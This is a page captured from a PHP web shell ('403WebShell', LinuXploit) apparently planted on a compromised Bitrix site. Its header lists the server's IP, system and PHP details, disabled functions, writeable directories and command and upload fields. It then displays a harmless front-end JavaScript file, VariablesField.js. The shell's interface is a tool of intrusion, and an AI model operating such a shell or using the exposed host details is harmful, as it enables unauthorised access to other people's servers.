%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.117.185.12
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/field/variablesfield/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/field/variablesfield/src//variablesfield.js
import {TextField} from 'landing.ui.field.textfield';
import {Dom, Tag, Event} from 'main.core';
import {BaseButton} from 'landing.ui.button.basebutton';
import {Menu} from 'main.popup';
import {PageObject} from 'landing.pageobject';

import './css/style.css';

const instances = Symbol('instances');

/**
 * @memberOf BX.Landing.UI.Field
 */
export class VariablesField extends TextField
{
	static [instances] = [];

	constructor(options)
	{
		super({...options, textOnly: true});
		this.setEventNamespace('BX.Landing.UI.Field.VariablesField');
		this.onButtonClick = this.onButtonClick.bind(this);
		this.onTopDocumentClick = this.onTopDocumentClick.bind(this);

		Event.bind(window.top.document, 'click', this.onTopDocumentClick);

		Dom.append(this.getLayout(), this.layout);

		VariablesField[instances].push(this);
	}

	onTopDocumentClick()
	{
		// const rootWindowDocument = PageObject.getRootWindow().document;
		// if (rootWindowDocument !== this.input.ownerDocument)
		// {
		// 	this.getMenu().close();
		// 	super.onDocumentClick();
		// }
	}

	onInputClick(event)
	{
		// event.preventDefault();

		this.lastRange = this.input.ownerDocument.createRange(
			this.input.innerText.length,
			this.input.innerText.length,
		);

		this.lastRange = this.input.ownerDocument.getSelection().getRangeAt(0);
	}

	getLayout(): HTMLDivElement
	{
		return this.cache.remember('layout', () => {
			return Tag.render`
				<div class="landing-ui-field landing-ui-field-variables">
					<div class="landing-ui-field-variables-left">${this.input}</div>
					<div class="landing-ui-field-variables-right">${this.getButton()}</div>
				</div>
			`;
		});
	}

	getButton(): BaseButton
	{
		return this.cache.remember('button', () => {
			return Tag.render`
				<div 
					class="landing-ui-field-variables-button" 
					onclick="${this.onButtonClick}"
				></div>
			`;
		});
	}

	getMenu(): Menu
	{
		return this.cache.remember('menu', () => {
			const rootWindow = PageObject.getRootWindow();
			const menu = new rootWindow.BX.Main.Menu({
				bindElement: this.getButton(),
				targetContainer: this.getLayout(),
				autoHide: true,
				items: this.options.variables.map((variable) => {
					return {
						text: variable.name,
						onclick: () => {
							this.onVariableClick(variable);
							menu.close();
						},
					};
				}),
				events: {
					onPopupShow: () => {
						VariablesField[instances].forEach((item) => {
							if (item !== this)
							{
								item.getMenu().close();
							}
						});

						setTimeout(() => {
							Dom.style(menu.getMenuContainer(), {
								left: 'auto',
								right: '0px',
								top: '30px',
							});
						});
					},
				},
			});

			return menu;
		});
	}

	onInputInput()
	{
		const currentDocument = this.getLayout().ownerDocument;
		this.lastRange = currentDocument.getSelection().getRangeAt(0);
		super.onInputInput();
	}

	onVariableClick(variable)
	{
		this.enableEdit();
		this.input.focus();
		const currentDocument = this.getLayout().ownerDocument;

		if (this.lastRange)
		{
			currentDocument.getSelection().removeAllRanges();
			currentDocument.getSelection().addRange(this.lastRange);
		}

		currentDocument.execCommand('insertText', null, ` ${variable.value} `);
	}

	onButtonClick(event: MouseEvent)
	{
		event.preventDefault();
		event.stopPropagation();

		if (!this.lastRange && this.input.innerText.length)
		{
			const currentDocument = this.input.ownerDocument;
			currentDocument.getSelection().collapse(this.input.childNodes[0], this.input.innerText.length);
			this.lastRange = currentDocument.getSelection().getRangeAt(0);
		}

		const menu = this.getMenu();
		if (menu.getPopupWindow().isShown())
		{
			this.getMenu().close();
		}
		else
		{
			this.getMenu().show();
		}
	}

	getValue(): string
	{
		return this.input.innerText;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit